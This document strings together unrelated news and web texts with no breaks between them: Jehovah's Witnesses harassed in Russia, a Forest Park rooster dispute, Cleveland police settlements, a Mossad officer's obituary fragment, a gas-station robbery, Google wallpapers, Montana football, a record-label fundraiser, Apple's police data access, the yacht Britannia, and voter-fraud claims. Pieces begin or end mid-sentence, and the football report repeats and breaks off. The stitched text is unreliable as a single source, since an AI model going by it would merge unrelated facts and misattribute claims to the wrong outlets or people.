“Officials who were already minded to take action against Jehovah’s Witnesses are now emboldened, and ordinary people who have long disliked them are also emboldened,” said Felix Corley, an Oslo-based religious rights activist who edits the Forum 18 News Service, which tracks abuses in the former Soviet Union and Eastern Europe.
Sivulskiy, speaking from St. Petersburg, tells the story of an 8-year-old girl recently forced by her school principal to sing a patriotic song at school in front of her classmates.
Jehovah’s Witnesses, an evangelical Christian group founded in Pittsburgh in the late 19th century, see themselves as representatives of God’s kingdom and remain neutral in politics. They pay taxes but do not recite patriotic pledges, sing nationalistic songs or join the military.
Witnesses also report an incident, near Moscow, of another 8-year-old girl, whose parents were brought to her school after she had sung a Jehovah’s Witness song and talked about God to classmates. In the presence of the school’s psychologist and director of security, the principal handed the parents a document informing them that if this behavior continued, the school would no longer educate the girl.
In Bezvodnoye, northeast of Moscow, two sixth-grade girls were humiliated by a music teacher who defended her actions by noting that Jehovah’s Witnesses are “banned.” She reportedly said to the girls’ mother: “You are now extremists and there will be no mercy.”
The encounter with the music teacher is one of 50 detailed in a May 25 report the Witnesses — whose world headquarters are outside New York — released on harassment against their co-religionists in Russia.
The report also describes:
• Physical attacks, including one in Belgorod, just north of the Ukrainian border, where the perpetrator shouted “you have been banned” and repeatedly punched a Witness in the head, face and upper body.
• Arson, including an incident in Zheshart, in the northwest, where a building used for religious services was destroyed and a Molotov cocktail was found at the scene. Another attack occurred in Lustino, near Moscow, where the home of a Witness family burned to the ground.
• Disruption of religious services, such as one that took place in a private home in Pavlovskiy Posad, 42 miles from Moscow. Police officers in plainclothes told Witnesses that the court decision meant they could no longer gather and worship.
On May 25, Dennis Christensen was worshipping in another private home — in the city of Oryol, about 185 miles south of Moscow — when 15 armed agents of the FSB, the successor to the KGB, stormed the house and arrested all the men.
The men spent the night in jail and were released in the morning — except for Christensen, according to accounts from the Witnesses. The judge reportedly considered him a flight risk because of his Danish citizenship. Christensen’s alleged crime: membership in an extremist group. He faces six to 10 years in prison.
Jehovah’s Witnesses, with about 8 million followers worldwide, are far from the only religious group harassed in Russia, where President Vladimir Putin has aligned the government with the formerly communist country’s dominant religion: Russian Orthodoxy.
Hare Krishna, Muslims, members of Falun Gong, atheists and other evangelical Christians have also suffered. But only the Witnesses have been officially labeled extremists. They sit on a list of groups that includes the Islamic State and al-Qaeda.
An “extremist” group in Russia can be defined as one that preaches that its path is the only one that can lead to salvation. Only the Russian Orthodox Church and a select few others may legally make that claim.
Corley said the Jehovah’s Witnesses will not abandon their faith in the face of increasing persecution and will continue to gather to worship, discuss Scripture and educate their children in their beliefs.
“It will then become a head-to-head between the government and community members as to who’s going to hold out the longest,” he said.
The Russian Supreme Court will hear an appeal against the ban ruling on July 17.
Read or Share this story: https://usat.ly/2rvb4dKTimothy Inklebarger
Staff Reporter
A Forest Park man has run a-fowl of the law, and his neighbors are tired of his rooster's incessant crowing.
The man, who simply identified himself as Mr. Ed — "You know, like the horse" — was spotted in the parking lot of the Oak Park Township Senior Services building, 130 S. Oak Park Ave., Friday afternoon with a "rooster on a leash," as one eyewitness described it.
In fact, Mr. Ed, 70, was meeting a friend who could hook him up with a Velcro rooster collar.
Why a Velcro collar, you ask? Because, according to the all-knowing Internet, a Velcro collar is basically Kryptonite for a rooster.
"I was either going to have to put him down or give him away, and on the Internet it says how to stop a rooster from crowing," he said.
Asked if the technique was working, Mr. Ed responded, "Well, at the moment."
But there was no one else around to enjoy the silence, he said. Certainly not Mr. Ed's neighbors, who called the Forest Park police on him on Thursday after they got fed up with the unnamed rooster's non-stop cock-a-doodle-doo-ing.
Forest Park Police Chief Tom Aftanas confirmed in a phone interview that that it is illegal to "keep or allow to be kept anywhere within the village any cattle, horses, swine, sheep, goats, ducks, geese, chickens or any other poultry except birds or pigeons used for exhibition or sporting purposes."
Aftanas said officers dispatched Thursday to the scene of the outlaw rooster issued a warning to Mr. Ed. Had he been cited, Aftanas said, it would have been up to an administrative judge to determine the amount of the fine.
"It's usually $75," he said, noting that police are called out on rooster complaints every few years, but there was only one other case he could recall.
Mr. Ed said he came into possession of the rooster and five chickens about six months ago while visiting a friend's farm in Michigan.
"They started out these cute little fuzzy things," he said.
The lifelong Forest Park resident said it's not the first time a farmhouse bird has gotten him into some trouble.
"When I was a small kid, maybe 8-11 years old, I had two chickens, and I remember driving to the farm to get rid of them because Mom and Dad didn't want them in the house anymore," he recalled.
Mr. Ed might be headed out to that farm again after a return visit from the rooster patrol.
Aftanas contacted the Wednesday Journal newsroom Friday afternoon with an update.
"The case has been closed," he said with a chuckle. "The officer and the complainant confirmed that the chickens are gone."
That might be good news for Mr. Ed, who already was having second thoughts about the whole venture.
"I am 70 years old now and maybe this was a bad idea," he said.CLEVELAND, Ohio - The city of Cleveland has paid out more than $8 million in judgments or settlements involving at least 60 lawsuits alleging excessive use of police force, wrongful arrest and other misconduct since 2004.
Below you can find links to details about each of these cases, as reported by a team of reporters from The Northeast Ohio Media Group and The Plain Dealer Publishing Co.
Their findings were detailed in a series that appeared on cleveland.com over the last two weeks: Cleveland Police: Forcing Change.
The cases involve citizens accusing officers of needlessly shooting at them, beating them during traffic stops, shocking them with Tasers while they were in handcuffs or arresting them when they had committed no crime.
The payments range from $1,250 to $3 million. The city settled some cases without acknowledging wrongdoing by police. The city has paid at least $1 million each of the last three years.
About three-fourths of the cases involved minorities, and about three-quarters involved men.
Below the map is a listing of each case, with links to stories providing more details about each.
Note: Locations are approximate for some of the points on the map because complete details could not be determined. Dates listed are the dates of the incidents, not the payment dates.
Sources: Research by reporters Leila Atassi, Brandon Blackwell, Ryllie Danylko, Cory Shaffer of the Northeast Ohio Media Group, and Rachel Dissell of The Plain Dealer Publishing Co.Mr. Harari escaped from Norway, but six Israelis were arrested there and charged with complicity in the killing. Five were convicted and given sentences of one to five and a half years in prison; Norway later pardoned three of them.
Mr. Salameh was killed in Beirut, Lebanon, in 1979 by a remote-controlled bomb, in an operation said to have been engineered by Mr. Harari. In Steven Spielberg’s 2005 film about the massacre, “Munich,” Mr. Harari was portrayed by the Israeli actor Moshe Ivgy.
Mr. Harari was born in Tel Aviv on Feb. 18, 1927. As a teenager, he joined Haganah, the Jewish militia that preceded the Israeli Army. Some sources say he enlisted at 16 after lying about his age so that he could be admitted to Palmach, Haganah’s elite fighting unit.
After World War II, he was sent to Europe to help Jewish survivors of the Holocaust immigrate illegally to Palestine, which was then controlled by the British. After the State of Israel was established in 1948, he worked for the government security agency known as Shin Bet.
Mr. Harari’s survivors could not be confirmed, but Israeli and English news reports said they included a wife, two children and five grandchildren.
In 1976, Mr. Harari participated in the planning and execution of Operation Entebbe, a counterterrorism mission to rescue 103 hostages being held at the Entebbe airport in Uganda. Seven men — five Palestinians and two Germans — had hijacked an Air France flight bound for Paris from Tel Aviv after a stop in Athens. They demanded the release of Palestinian prisoners held by Israel and four other countries.
Israeli paratroopers and commandos killed the hijackers and flew back to Israel with the freed captives. Three hostages died during the operation, along with 20 Ugandan soldiers and the commander of the Israeli troops, Lt. Col. Jonathan Netanyahu, a brother of the future prime minister.Man arrested quickly after armed robbery attempt, Shelton police say
Joshua Zarembski Joshua Zarembski Photo: Photo Courtesy Of The Shelton Police Department Photo: Photo Courtesy Of The Shelton Police Department Image 1 of / 1 Caption Close Man arrested quickly after armed robbery attempt, Shelton police say 1 / 1 Back to Gallery
SHELTON >> A man was arrested Friday morning after Shelton police say he tried to hold up a gas station at gunpoint but was interrupted by other customers.
No one was hurt in the robbery at the Buck Stop Citgo, 429 Shelton Ave., police spokesman Dectective Richard Bango said in a press release Friday afternoon.
Joshua Zarembski, 24, was taken into custody after officers saw him smoking a cigarette on the porch of his condo near the robbery scene as they looked for suspects.
Bango said police received a report of the robbery at about 7:30 a.m. Friday.
The store owner said a man came into his store, pointed a gun at him and demanded money.
Investigators found the man had been wearing a New York Yankees sweatshirt and had put a round in the chamber of a black semi-automatic pistol before demanding the cash.
At that point, other people came into the store and the man — later identified as Zarembski — fled without any money.
The store owner watched Zarembski run toward the Aspetuck Village Condominiums across from the gas station.
Officers canvassed the area and found Zarembski at 119 Hunters Creek, a unit within the Aspetuck Village complex.
They detained him and reviewed the video surveillance in the gas station before arresting him, Bango said. Police also later recovered the gun and found it had been stolen.
Zarembski was charged with criminal attempt at robbery, criminal possession of a firearm, theft of a firearm and carrying a pistol without a permit. He was held in lieu of $250,000 bail and is to appear Monday in Derby Superior Court.I've long had a pet theory that wallpapers are disproportionately important when it selling new phones. After all, the industrial design of many high-end handsets is pretty identical (just compare the iPhone 7 and the new Google Pixel), but it's the wallpapers that really stand out — those are sometimes the design aspects that feel the newest.
In that spirit, if you want to give your old Android handset a bit of a facelift, Google has just the thing: a new stock app named Wallpapers. The app has a bunch of high quality wallpapers, including some gorgeous landscape photography, cool architectural shots, abstract textures, and some nice Google Earth satellite images very similar to those used in promo pictures for the Pixel. There's also a function that lets you switch your wallpaper every day if that's your thing.
Of course, these are just wallpapers — an abundant digital resource and basically the freest thing in the world. But if you're anything like me, you've probably stopped caring bit about hunting out nice backgrounds for your phone, and it's good to have the easy option of an app with great shots preloaded. Just don't think it's going to make your actual phone any better.Montana Griz Football Fall Camp Report: D-Line features talented veterans Tonga Takai (Photo by Todd Goodrich, UM)
University of Montana: MISSOULA, MONTANA (August 24, 2014) – With the 2014 season opener at Wyoming looming just a week away, one thing that the University of Montana Grizzlies know about their football team is that the strength of the defense will be the defensive line, where the Grizzlies return three starters and two talented veterans, as well some up-and-coming young players.
“It’s an exceptional group,” said Griz defensive coordinator/linebacker coach Ty Gregorak. “They’ve got size, speed, and work ethic, and they are extremely well-coached. They have toughness as well, and they are the heart and soul of this defense. They had an exceptional camp.”
That trio of returning starters includes senior defensive co-captains Tonga Takai (6-3, 305, 3V) and Zack Wagenmann (6-3 ½, 255, 3V), along with junior end Tyrone Holmes (6-4, 245, 2V). Holmes and Wagenmann each started in all 13 games last season, while Takai had 11.
Wagenmann, a 2014 Buck Buchanan Award candidate, was named the Big Sky Conference’s preseason MVP on defense at end, has been a first team all-league pick the past two seasons, and led the Griz with 16.5 tackles for loss a year ago, and was fifth on the squad with 64 stops.
“We are blessed with, I honestly believe in my heart, the best D-line coach (Legi Suiaunoa) in the country,” said Wagenmann, who prepped a local Sentinel High School. “He does a fantastic job working our technique, and he gets us to work hard in practice and carry that over into games.
“I am trying not to focus on all of the end-of-the year stuff, and all the preseason stuff – that’s just talk really, and I a more excited to get the season rolling and get on the field with my teammates,” said Wagenmann, who weighed around 205 pounds his freshman season at UM in 2010. “We do have good team speed on defense. The D-line runs very well. The linebackers are lighter than they have been in the past and are very fast. We want to be a defense that swarms to the ball and I think we are going to be able to do that.”
“Nothing would make me happier to see Zack have a productive, outstanding senior year,” Gregorak said. “I just love Zack. He’s a local guy from Missoula and we have back-to-back number 37's (Jordan Tripp wore that legacy number last season) from here. He’s an outstanding player.”
Takai, starting for the third straight season along with Wagenmann, was a third team all-conference selection at tackle last season, and is UM’s eighth leading returning tackler (32 TT). Holmes was honorable mention all-league a year ago, and is the team’s seventh leading returning tackler (37 TT).
“Tyrone Holmes I believe will have a breakout year,” Gregorak said. “Last year he had a very solid year and his total tackles and sack numbers will go up after another season of experience. And frankly, both him and Zack would tell you that they had some missed production last year, where they got home, but couldn’t finish the play.”
“We are excited to get started,” said Takai, who has dropped about 20 pounds since last season. “We put in a lot of work in the off-season and throughout fall camp and we are ready to go down to Laramie and play a good game. I feel a lot better moving around and I feel a lot stronger this year, thanks to coach ‘Gerbs’ (Mike Gerber, UM’s strength coach) strength and conditioning. I feel like I’ve elevated my game a lot more and I hope to have a good season.
“Unfortunately, I have to,” said a smiling Takai, who is a reserved person and does not like doing interviews, when asked if he would be more vocal this year since he is a co-captain – “so yes, I will.”
“Tonga Takai – I am just happy to see him be recognized of having the potential to be a guy who is an All-American candidate for us,” Gregorak said. “He has come a long way as a player, due to tremendous work ethic and personal drive. I believe Tonga will have an All-American year.”
Senior Trevor Rehm (6-3, 265, 2v) and junior Caleb Kidder (6-5, 275, 2V) went head-to-head for the open starting job defensive tackle, with Rehm edging Kidder for that berth. Rehm will take over for former starter Alex Bienemann, who was a second team All-Big Sky pick and UM’s seventh leading tackler with 51 stops his senior season, and will be a student-assistant coach for the Griz this year.
A Dillon native, Rehm has improved steadily every season, and he was moved from linebacker to the line as a redshirt freshman. He played in all 13 games a year ago and had 24 stops, and is the team’s 10th-leading returning tackler. Kidder also played in all 13 games last season and started in two, and is UM’s fourth leading returning tackler (40 TT).
“Moving inside, the defensive tackle position has been great competition,” Gregorak said. “Caleb Kidder would probably start at every school in the Big Sky, and that’s a real compliment to Trevor Rehm to win the starting job there. Trevor had an exceptional camp.”
At end, juniors Derek Crittenden (6-3, 240, 2V) and Addison Owen (6-2, 225, 2V, from Vancouver, Wash.), and sophomore Ryan Johnson (6-2 ½, 255, SQ) will contribute. At tackle, sophomore Zach Peevey (6-2 ½, 255, 1V) and redshirt freshman Nate Bradley (5-10, 260, from Billings) will both be in the rotation on the D-line.
Crittenden, from Whitefish, is the Grizzlies’ third leading returning (tied) tackler with 41 stops last season, despite not starting. Peevey, from local Hellgate High School was the most improved player on the D-line in fall camp, and will get plenty of reps. Johnson (Vancouver, Wash.) has also looked good.
“Zach Peevey showed up all of the camp – he really did,” Gregorak said. “He’s very productive when he’s in there. We need to reduce his mental errors a little bit, but boy he’s been so solid when he’s gotten his turns. Nate Bradley has done a nice job, and Nate is very strong, and has been solid there too.
“Going back to the ends, Addison Owen missed the spring and was been limited in fall camp as he is recovers from off-season surgery, but he’s such a good athlete he will help us by rushing the passer and using his outstanding speed,” Gregorak said. “RJ (Johnson) is a vert steady-eddy for us. Derek Crittenden is obviously one of the brightest players on the football team, with a 4.0, and probably will be the next Montana football player who is a Rhodes Scholar.
“I can’t say enough about the D-line and their camp,” Gregorak continued. “Coach Legi does a great job with them. He has them always working on their technique, and as I said earlier, they will lead our defense. If all of them can stay healthy, that group will help to get us to an outstanding year.”
GRIZ NOTES: The team will be staying in Cheyenne on Friday and will not have a walk-though at Wyoming’s Stadium that day. Seventy players will make the trip this weekend. The last time Montana opened a season on the road against an FBS opponent was in 2011, a 42-16 loss at Tennessee.
GRIZ STATS & FACTS: Wagenmann was 27th in the FCS in tackles for loss last season with 1.3 per game. He is currently ranked ninth (tied with Tripp) in school history with 29.5 career tackles for loss, and he’s eight in career sacks with 20. – With the 2014 season opener at Wyoming looming just a week away, one thing that the University of Montana Grizzlies know about their football team is that the strength of the defense will be the defensive line, where the Grizzlies return three starters and two talented veterans, as well some up-and-coming young players.“It’s an exceptional group,” said Griz defensive coordinator/linebacker coach Ty Gregorak. “They’ve got size, speed, and work ethic, and they are extremely well-coached. They have toughness as well, and they are the heart and soul of this defense. They had an exceptional camp.”That trio of returning starters includes senior defensive co-captains Tonga Takai (6-3, 305, 3V) and Zack Wagenmann (6-3 ½, 255, 3V), along with junior end Tyrone Holmes (6-4, 245, 2V). Holmes and Wagenmann each started in all 13 games last season, while Takai had 11.Wagenmann, a 2014 Buck Buchanan Award candidate, was named the Big Sky Conference’s preseason MVP on defense at end, has been a first team all-league pick the past two seasons, and led the Griz with 16.5 tackles for loss a year ago, and was fifth on the squad with 64 stops.“We are blessed with, I honestly believe in my heart, the best D-line coach (Legi Suiaunoa) in the country,” said Wagenmann, who prepped a local Sentinel High School. “He does a fantastic job working our technique, and he gets us to work hard in practice and carry that over into games.“I am trying not to focus on all of the end-of-the year stuff, and all the preseason stuff – that’s just talk really, and I a more excited to get the season rolling and get on the field with my teammates,” said Wagenmann, who weighed around 205 pounds his freshman season at UM in 2010. “We do have good team speed on defense. The D-line runs very well. The linebackers are lighter than they have been in the past and are very fast. We want to be a defense that swarms to the ball and I think we are going to be able to do that.”“Nothing would make me happier to see Zack have a productive, outstanding senior year,” Gregorak said. “I just love Zack. He’s a local guy from Missoula and we have back-to-back number 37's (Jordan Tripp wore that legacy number last season) from here. He’s an outstanding player.”Takai, starting for the third straight season along with Wagenmann, was a third team all-conference selection at tackle last season, and is UM’s eighth leading returning tackler (32 TT). Holmes was honorable mention all-league a year ago, and is the team’s seventh leading returning tackler (37 TT).“Tyrone Holmes I believe will have a breakout year,” Gregorak said. “Last year he had a very solid year and his total tackles and sack numbers will go up after another season of experience. And frankly, both him and Zack would tell you that they had some missed production last year, where they got home, but couldn’t finish the play.”“We are excited to get started,” said Takai, who has dropped about 20 pounds since last season. “We put in a lot of work in the off-season and throughout fall camp and we are ready to go down to Laramie and play a good game. I feel a lot better moving around and I feel a lot stronger this year, thanks to coach ‘Gerbs’ (Mike Gerber, UM’s strength coach) strength |
that it may allow us to continue doing what we love to do, and ensure that a lot of the great music we've been entrusted with disseminating continues to be available for any and all that want to hear it for years to come. While we're well aware that much of this music can and will be obtained in digital format for free from various internet sources, we firmly believe that these musical documents are best experienced in their original intended forms, and that as physical artifacts lend a greater depth of experience to the listeners as well as the creators. Thank you in advance to any and all who are willing to assist us in our effort to make sure important music continues to be heard, that the artists responsible for its creation are supported for their work, and for helping keep underground music alive and thriving.
What we are offering:
+ more coming soon (exclusive t-shirt, bundles,... )
If you are feeling altruistic and generous, you can also donate here
Upcoming vinyl reissues and represses that we are currently working on for 2013 include:
Botch American Nervoso 2xLP (deluxe vinyl reissue)
Cave In Until Your Heart Stops 2xLP
Cave In Jupiter LP
Converge Caring and Killing 2xLP (first time on vinyl)
Discordance Axis Jouhou 2xLP (deluxe vinyl reissue)
Drowningman Busy Signal at the Suicide Hotline LP
Jesu Conqueror 2xLP
Also, we will need volunteers to help ship orders over the coming weeks. If you are interested in coming in to help, email info@hydraheadDOTcom with the subject "Shipping volunteer." We will give you free records and lunch. Maybe a nickname, too.
PLEASE NOTE: ORDERS MAY NOT ARRIVE IN TIME FOR THE HOLIDAYS. WE HAVE A LIMITED SHIPPING CAPACITY. IT MAY TAKE UP TO 30 DAYS TO SHIP SOME ORDERS (especially if they include pre-order items such as the shirt or screen print).In its recently revised Legal Process Guidelines, Apple outlines what data it can extract from your locked iPhone or iPad in the event law enforcement has a subpoena for that information. While the document is meant for law enforcement entities, we thought you’d like to know what information on your device might be legally accessible by the government.
Let’s start with what Apple cannot share with the police, even if they wanted to, due mainly to technical limitations:
Deleted content from iCloud, including emails
Find My iPhone tracking data except user-initiated requests to locate or lock devices.
Emails
iMessage history
Calendar entries
Non-Apple app data
Passwords
The main reason Apple can’t tell the police every place you’ve ever been by utilizing Find My iPhone is because Apple does not keep those records. Your phone doesn’t, either. Likewise, iMessages are encrypted end-to-end, meaning only the intended recipients can access the data in a way that is usable. Third-party apps could probably be accessed in some cases, but it is too hit or miss for Apple to make any promises or waste any time trying to figure it out.
The following things are fair game if law enforcement shows up at Apple’s Cupertino headquarters with a subpoena:
SMS text messages
Photos
Videos
Audio recordings
Call history
Information regarding location and timing of any Find My iPhone activity
All iCloud content
Device and iTunes Store registration information
Apple Retail and Online Store transactions
Apple Retail Store surveillance footage
Note that some of this data requires no actual device at all and can be accessed with an applicable search warrant.
While the amount of data that is potentially accessible is fairly discomforting, Apple does at least employ a fairly rigorous process to prevent fraud. None of these requests are processed electronically; no amount of technological innovation can make Apple trust court orders sent over the Internet.
If you want the user’s data, you must bring your court order or equivalent document, the device(s) in question, and an external hard drive with FireWire connection to take that data home. I am especially appreciative that Apple tests law enforcement’s commitment by making them buy an external drive that uses Apple’s arcane FireWire connection rather than USB or even their new, inexplicably proprietary not widely implemented Thunderbolt.
In certain cases, Apple allows law enforcement to complete the process using physical mail.
Unfortunately, the closed nature of iOS makes it difficult to recommend replacement apps or measures you can take to protect yourself from data seizure. The best course of action is to keep sensitive data off the cloud and, perhaps, off your iPhone or iPad entirely. Email and iMessage communications are secure, however, which is a good thing.His Majesty's Yacht Britannia was a racing yacht built in 1893 for RYS Commodore Albert Edward, Prince of Wales. She served both himself and his son King George V, with a long racing career.
Design [ edit ]
Britannia was ordered in 1892 by the Prince of Wales and designed by George Lennox Watson. She was a near sister ship to the Watson-designed Valkyrie II which challenged for the 1893 America's Cup. Details of the commission were arranged on the Prince’s behalf by William Jamieson who represented him and liaised closely with Watson. The build cost was £8,300 and like Valkyrie II, Britannia was built at the D&W Henderson shipyard in Patrick on the River Clyde. With two such highly important commissions underway in the same yard, Watson delegated his protégé James Rennie Barnett to oversee both yachts.
Racing career [ edit ]
Britannia was launched on 20 April 1893, a week ahead of Valkyrie II and joined a fleet of first class cutters that was growing fast as others followed the royal lead. In a highly competitive fleet, Britannia soon set about achieving the race results which would eventually establish her as one of the most successful racing yachts in history.
By the end of her first year's racing, Britannia had scored thirty-three wins from forty-three starts. In her second season, she won all seven races for the first class yachts on the French Riviera, and then beat the 1893 America's Cup defender Vigilant in home waters. In the Mount's Bay Regatta of 28 July 1894 the Vigilant owned by George Jay Gould I, was piloted by Benjamin Nicholls, and the Britannia was piloted by Ben's brother Philip Nicholls. Both brothers were Trinity House pilots of Penzance. People came by train from all over the south west to watch Britannia win by just over seven minutes.
Despite a lull in big yacht racing when the new linear rating rule came into effect in 1897, Britannia served as a trial horse for Sir Thomas Lipton's first America's Cup challenger Shamrock, and later passed on to several owners in a cruising trim with raised bulwarks. In 1920,[1] King George V triggered the revival of the "Big class" by announcing that he would refit Britannia for racing. Although Britannia was the oldest yacht in the circuit, regular updates to her rig kept her a most successful racer throughout the 1920s. In 1931, she was converted to the J class with a bermuda rig, but despite the modifications, her performance to windward declined dramatically. Her last race was at Cowes in 1935. During her racing career she had won 231 races and took another 129 flags.
King George V's dying wish was for his beloved yacht to follow him to the grave. On 10 July 1936, after Britannia had been stripped of her spars and fittings, her hull was towed out to St Catherine's Deep near the Isle of Wight, and she was sunk by HMS Winchester, commanded by Captain W.N.T. Beckett RN. This fate marked the end of big yacht racing in Europe, with the smaller and more affordable International Rule 12 Metre class gaining popularity.
Four known examples of Britannia's racing flags are preserved, one presented by Philip Hunloke to the Royal Cornwall Yacht Club, in whose Regattas Britannia was often a competitor between 1894 and 1935, the second at the Royal Northern and Clyde Yacht Club at Rhu and the third at the Royal St. George Yacht Club, which held two regattas in Kingstown for the first season of the RYA linear rating rule in 1896. Britannia's skipper William G. Jameson had lost both races to the new Meteor II and Ailsa. The fourth known flag is held in the vexillology collection in the National Maritime Museum at Greenwich.[2]
Britannia's 51-foot (16 m) long gaff, the king’s chair, tiller, some mast hoops, blocks and rigging, anchor chain and clock are preserved in the Sir Max Aitken Museum in Cowes High Street and the remains of her spinnaker boom are at Carisbrooke Castle, also on the Isle of Wight. The spinnaker boom was given for use as a flag pole on the keep (where it twice suffered lightning damage), and the present flagpole is a fibreglass replica. In an episode of Antiques Roadshow from Pembroke Castle, broadcast in April 2017, a relative of a crew member brought photographs, and a damask tablecloth and some cutlery from the yacht, to be appraised.
Replica [ edit ]
Solombala shed in Arkhangelsk, 1990s
In 1993 a syndicate headed by Norwegian Sigurd Coates purchased a stake in a shipyard in Arkhangelsk in order to create a replica of the Britannia in pinewood.[3] Between 2002 and 2006 the shipyard changed hands several times whilst joinery was nearing completion. In 2006 she was rechristened Царь Пётр (Tsar Pyotr; "Peter the Great") and held back for NOK25,000,000 until 2009, when a Russian court ordered the hull to be launched and delivered by the shipyard to her original owner Sigurd Coates.[4] Subsequently the hull was towed to Son and berthed there until she was acquired by a purposely-created British charity called the K1 Britannia Trust, and in turn towed to East Cowes in 2012.[5] Having also reached charity status in the United States of America in 2015, the project subsequently announced that it would raise funds there to finance the building of a new aluminium hull at a shipyard in Florida.[6][7] The project first stripped the wooden hull of its interior then fell to a standstill, and, as of 2017 the hull was placed on a mooring in Hythe. The project was a subject of NRK's 2009 film documentary Drømmen om Britannia produced by Sigurd Coates' daughter Ann.[8][9]
Future replica [ edit ]
In 2018 the K1 Britannia Trust announced that it intended to order a brand new replica similar to the Britannia's 1931 J-Class configuration, but with an aluminium hull, carbonfiber rig and hybrid propulsion, and that it intended for the new replica to attend the 2021 America's Cup in New Zealand.[10] An aluminium hull would follow design ideals proposed in 1881 by George Lennox Watson at the Glasgow Exhibition of Naval Architecture and Marine Engineering.[11] To date no shipyard has been announced.
Predecessors and opponents [ edit ]
Previously Prince Albert Edward had acquired the 205-ton schooner Hildegarde in 1876, which he had replaced with the 103-ton cutter Formosa (Michael E. Ratsey, 1878) in 1879, and the 216-ton schooner Aline (Benjamin Nicholson, 1860) in 1881.[12]
Britannia faced many opponents in her 43-year career. The most notable were:
Racing record [ edit ]
year owner starts first prizes other prizes total prizes 1893 Albert Edward, Prince of Wales 43 24 9 33 1894 48 36 2 38 1895 50 38 2 40 1896 58 14 10 24 1897 20 10 2 12 1898 Messrs. Rucker, Cooper, et al. 1899 Albert Edward, Prince of Wales 6 0 0 0 1899 Sir Richard William Bulkeley, 12th Baronet 1900 1 0 0 0 1901-
-1910 King Edward VII used only for cruising 1911 King George V used only for cruising 1912 10 5 0 5 1913 13 8 1 0 1914-
-1919 laid up during the Great War 1920 23 7 14 11 1921 28 9 7 16 1922 re-conditioning 1923 26 11 11 22 1924 19 7 5 12 1925 36 6 6 12 1926 23 4 7 11 1927 24 8 8 16 1928 34 9 10 19 1929 not fitted out 1930 26 5 5 10 1931 29 6 7 13 1932 32 9 14 23 1933 39 12 12 24 1934 27 3 7 10 1935 20 0 0 0 total 635 231 129 360
Bibliography [ edit ]Right-wing media outlets have used misleading voter fraud stories to stoke fears of rampant voter fraud in the months leading up to the 2014 midterm elections. But experts state that voter fraud in the U.S. is virtually non-existent and that voter ID laws would actually disenfranchise voters.
Is voter impersonation a rampant problem?
Are undocumented immigrants voting illegally?
Do we have proof of voter fraud?
Are Democrats registering fraudulent voters?
Is voter fraud becoming more common?
Are voter ID laws really discriminatory?
Do voter ID laws really reduce turnout?
MYTH: Voter Impersonation Fraud Is A Major Problem
Fox Correspondent Eric Shawn Disputes Argument That Voter Impersonation Fraud Is A Problem That "Doesn't Exist." On the October 29 edition of The O'Reilly Factor, Fox News senior correspondent Eric Shawn responded to a statement from Attorney General Eric Holder condemning "unnecessary restrictions that discourage or discriminate or disenfranchise in the name of a problem that doesn't exist," by saying: "of course voter fraud exists in the United States," and that Holder is "not actually factually correct." But as O'Reilly pointed out, Holder was talking about strict voter ID and voter impersonation, while Shawn nevertheless shifted the conversation to cases of vote buying, which would not be prevented by voter ID laws. [Fox News, The O'Reilly Factor, 10/29/14]
FACT: There Is No Evidence Of Massive Voter Impersonation Fraud
Experts Agree That Voter Impersonation is "Virtually Non-Existent." The New Yorker reported that experts agree that actual incidents of in-person voter fraud -- the type of voter fraud that strict voter ID laws can prevent -- are "virtually non-existent," and fears of voter fraud have been largely invented as a way to "excite the base." [The New Yorker, 10/29/12]
Brennan Center For Justice: Allegations Of Widespread Voter Fraud "Simply Do Not Pan Out." The New York University School of Law's Brennan Center has repeatedly explained that in-person voter fraud is not a justification for strict voter ID laws, because voter impersonation is "more rare than getting struck by lightning," and allegations of widespread fraud typically "amount to a great deal of smoke without much fire" and "simply do not pan out." [Brennan Center For Justice, 2007]
Loyola University Professor: Only 31 Out Of 1 Billion Ballots Subject To In-Person Voter Fraud. Loyola University Law School professor Justin Levitt, who investigated "any specific, credible allegation" of voter impersonation fraud, found a total of "about 31 different incidents" since 2000 of in-person voter fraud out of over 1 billion ballots cast. [The Washington Post, Wonkblog, 8/6/14]
MYTH: Study Shows Huge Percentages Of Undocumented Immigrants Illegally Cast Votes
Fox Host Hyped Questionable Study To Stoke Fears That "Illegals Voted Between Two And Six Percent The Last Two Elections." Fox & Friends co-host Brian Kilmeade claimed a recent study found that "illegals voted between two and six percent over the last two elections," and said it "reveals a significant number of noncitizens casting votes alongside real citizens right here in the United States come election day." Fox guest Rachel Campos-Duffy of the Libre Initiative, a Koch-funded non-profit that targets Latino voters, speculated that non-citizen voting could have "national implications." [Fox News, Fox & Friends, 10/27/14]
FACT: Experts Have Cast Doubt On The Study's Methodology And Conclusion
Experts Raised Doubts About The Study's Methodology And Conclusion. Brown University political scientist Michael Tesler questioned the study's "methodological challenges," noting the possibility that non-citizens may have misreported their citizenship status. He pointed out that many self-reported non-citizens in 2012 reported being citizens in 2010, indicating a high rate of response error "which raises important doubts about their conclusions" Tesler also noted that a "number of academics and commentators have already expressed skepticism about that paper's assumptions and conclusions" which seem to be "tenuous at best." [The Washington Post, Monkey Cage, 10/27/14]
The Study's Authors Outlined The Limitations Of Their Findings. In a October 24 blog post in The Washington Post, Jessie Richman and David Earnest, two authors of the study, admitted that their "extrapolation to specific state-level or district-level election outcomes is fraught with substantial uncertainty." The authors noted that the non-citizen sample they examined was "modest" and relied on self-reporting, which can create errors, and attempts to verify the accuracy of the self-reporting was imperfect and supplemented by estimates. [The Washington Post, Monkey Cage, 10/27/14]
MYTH: Discovery Of Names Of Ineligible Voters On Voter Rolls Is Proof Of Potential Voter Fraud
Laura Ingraham Asks If The Existence Of Immigrants' Names On NC Voter Rolls Reveals "Nefarious Attempts To Fraud The Vote." After a North Carolina Department of Motor Vehicles (DMV) review found the names of 145 immigrants who received Deferred Action for Childhood Arrivals (DACA) status on the state's voter rolls, Fox News and ABC contributor Laura Ingraham claimed the names were proof of "voter manipulation, ballot fraud," and wondered if they showed "nefarious attempts to fraud the vote." Ingraham speculated that the "illegal immigrants who are here under DACA," had been "fast track[ed]... to voting." [Courtside Entertainment Group, The Laura Ingraham Show, 10/24/14]
FACT: The Discovery Of Potentially Ineligible Voters Is Proof That The Voter Verification System Works
